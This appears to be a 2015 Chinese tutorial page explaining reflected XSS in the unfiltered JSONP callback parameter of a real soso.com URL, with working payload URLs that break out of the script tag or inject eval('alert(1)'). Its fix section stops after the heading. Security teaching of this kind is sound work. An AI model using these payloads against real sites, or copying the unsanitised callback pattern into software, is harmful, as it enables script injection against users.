来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 1 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了 script[输出] script之间。http: activity soso com common setParentsInfo php?callback=aaaaaaa...
1. 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了 <script>[输出]</script>之间。 http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa如下图:callback参数未做过滤。 在【查看源代码】下,我们可以看到。 缺陷网页源代码: <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script> 2. 碰到这种情况,我们一般有以下解法。 2.1 首先判断,是否过滤了 < , > , / 等符号, 2.2 如果都没有过滤,恭喜你,一般可以直接XSS了。代码如下:http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script> 原理入下图: 构造callback参数后的源代码 <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script> 2.3 如果过滤了 <, >,那么就无法使用上面的办法了。我们接着看 3 http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void
也就是说,我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了。 <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>
修复方案:这类XSS的模型通常是: |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com